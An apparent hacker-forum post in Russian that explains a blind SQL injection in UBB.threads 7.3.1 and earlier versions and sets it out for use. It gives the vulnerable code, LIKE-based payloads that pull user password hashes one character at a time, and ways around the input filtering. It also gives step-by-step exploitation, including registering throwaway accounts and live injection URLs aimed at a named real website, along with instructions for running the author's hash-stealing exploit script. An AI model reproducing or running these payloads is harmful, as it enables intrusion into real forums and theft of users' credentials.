Уязвимость: Слепая SQL инъекция
Уязвимый продукт: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
Дата публикации уязвимости на секлабе: 09 сентября, 2008
Описание на секлабе: http://www.securitylab.ru/vulnerability/359080.php
Более подробное, но достаточно ущербное и кривое описание: http://www.gulftech.org/?node=resear...00130-09082008
Прочли описание? Много поняли? НЕТ? С чего бы это... а ещё ведь удвиляетесь почему многие копипасты оцениваются минусами
Разобрался что к чему и сделал нормальное описание:
Требования для успешной эксплуатации уязвимости:
1. Версия форума: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
2. На форуме должна быть создана хотя бы одна тема
3. У вас должен быть аккаунт (т.к. опция поиска доступна только для зарегистрированных пользователей)
4. Версия mysql >= 4.1 (т.к. только с этой версии появились подзапросы)
5. Нужно знать префикс таблиц.
6. Предположительно! мейджик_квотс = офф
Описание уязвимости (мои заметки):
SQL инъекция, пусть и слепая - звучит скучно и заезженно, но не в этом случае.
Данные передаваемые в параметр Forum[] не фильтруются, но обрабатываются далеко не самым лучшим для нас образом:
1. Проблема в том что использовать запятые в запросе нельзя:
PHP код:
if (preg_match("/^f/",$Forum[$i])) {
$bnum = str_replace("f","",$Forum[$i]);
$boardin .= "'$bnum',";
$boardin = preg_replace("/,$/","",$boardin);
if ($boardin) {
$boardin = "FORUM_ID IN ($boardin)";
}
Но тем не менее получить этот символ мы можем (хотя он нам и не нужен). Дело в том что передавать данные параметру (массиву) Forum[] можно несколькими строками.
И эти строки будут объеденяться, но их объеденение так же проблемно:
т.к. к каждой строке добавляется кавычка (как в начало, так и в конец, т.е. строка обрамляется в кавычки), и сами строки при этом разделяются запятыми.
т.е. отправляя: Forum[]=f1&Forum[]=f222, получаем:
'1','222'
Самым простым запросом будет:
Forum[]=f1')) AND 1=1/*
Что бы получать данные из подзапросов пришлось отойти от использования стандартной конструкции с использованием функции substring().
И использовть для подбора данных поиск с помощью опратора LIKE:
Код:
Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '0%')=1/*'))
Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '1%')=1/*'))
Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '12%')=1/*'))
Т.е. мы фактически подбираем ХЕШ пользователя с помощью оператора LIKE.
Способ это не самый рациональный, но в данном случае он рабочий, а это главное (способ с использованием функции substring() к сожалению получался ограниченным на вывод только числовых данных из-за специфичности моей конструкции, но другой я придумать не смог).
Всего нужно запросов для получения ХЕША: 32*16=512 - не так и много, хотя и не мало.
2. Ещё одна проблема, которая по началу сильно мне насолила, это вырезание символов "c", "f":
PHP код:
if (preg_match("/^c/",$Forum[$i])) {
$cnum = str_replace("c","",$Forum[$i]);
$catin .= "'$cnum',";
}
if (preg_match("/^f/",$Forum[$i])) {
$bnum = str_replace("f","",$Forum[$i]);
$boardin .= "'$bnum',";
Ничего в этом проблемного нет, т.к. обходится переводом символов в верхний регистр: "C", "F".
Но из-за отсутствия нормальный исходников (двиг платный, нуленных версий не много, а то что у меня было, было далеко не самым свежим) по началу принесло не мало гемора.
Эксплуатация уязвимости (мои заметки):
Т.к. раскручивал инъекцию я как слепую, а там, вроде, только так и можно, то нам понадобиться как то определять правильность выполнения запроса.
Делать мы это будет по нахождению результата при поиске слова (т.е. если в результате поиска что то находится, то запрос выполнен верно).
Для этого нам потребуется слово которое будет находиться в определённом форуме, делается это так:
1) Регимся на форуме (кстати там обычно активация по мылу нужна, так что регим левые ящики и вперёд).
2) Заходим к списку форумов, смотрим линк на какой либо форум, выглядеть это будет примерно так:
ubb=postlist&Board=58&page=1
В данном случае номер заданного форума (называть это разделом не совсем верно, т.к. раздел это нечто другое) = 58.
3) Заходим в выбранный форум и смотрим название какой либо темы, к примеру "Master spreadsheet..."
Берём какое либо слово из названия темы и пробуем его найти в указанном форуме (выбрать форум для поиска можно указав его название - в опциях поиска вы этой найдёте без труда).
Бац... и что то там нашлось - вот и отлично.
4)
Теперь пробуем, к примеру, через GET, такой запрос:
Код:
ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
, где: ubb=dosearch&fromsearch=1&checkwords=1 - необходимые параметры - их менять не нужно, Words=master слово, которое должно, обязательно, находиться и
f58'))+and+1%3D1/* 58 - НОМЕР ФОРУМА, '))+and+1%3D1/* наш запрос ( and 1=1/*).
Т.к. заданное условие, обязательно, выполнится, то если форум уязвим вы увидим что искомое слово нашлось, как и было раньше.
Теперь пробуем так:
Код:
ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
Т.к. заданное условие ( and 1=2/*) не выполнимо, то искомое слово не должно найтись!
Судить о том уязвим форум или нет, можно и нужно только если в первом случае мы видим результат, а во втором нет (т.е. нужны две проверки - на правильность и не правильность выполнения условия).
Вот на примере конкретного сайта:
* Не забудьте зарегестрироваться - опция поиска доступна только зарегистрированным пользователям.
Слово найдено:
Код:
http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
Слово не найдено:
Код:
http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
Так ну вот собственно и всё - как выдирать данные посимвольно я показал выше, не забудьте про филтрацию символов "c", "f" - они фигурируют во многих операторах.
Вот только сказать "вперёд и с песней" я не могу, т.к. руками это эксплуатировать - не реал.
Написал простенький и в некоторой степени кривой сплоент - выдирает он только ХЕШ пользователя с указанным номером.
Как пользоваться моим сплоентом:
1. Регимся на форуме, смотрим свои куки - они пригодятся, т.к. сплоент без них работать не будет.
2. Вписываем данные в сплоент (если вы читали всё что написано выше, то понять что туда вписывать труда не составит + там все что нужно про комментированно).
3. Заливаем куда нидь сплоент и запускаем (т.к. написан он на скорую руку, то немного кривоват, что в свою очередь отражается на скорости его работы (минут 20)).
4. Получаем ХЕШ указанного пользователя.
Учтите одного ХЕША будет мало, т.к. отображаемое имя и используемое как логин - могут быть разными.
Переписать сплоент под себя, исправив этот недостаток не так и сложно для того кто разбирается в том что у чему, остальные... халявщики, а это не тру (своего рода это зашита от дурака), в противном случае расчитывайте на совпадение отображаемого имени и логина.
Дополнительная информация:
Алгоритм хеширования: md5()
Префикс по дефолту: ubbt_
Таблица с пользователями: prefix_USERS
Колонки в таблице пользователей: USER_ID, USER_LOGIN_NAME, USER_PASSWORD, USER_MEMBERSHIP_LEVEL (остальные не пригодятся)
Вот приблизительно так и надо дорабатывать копипасты.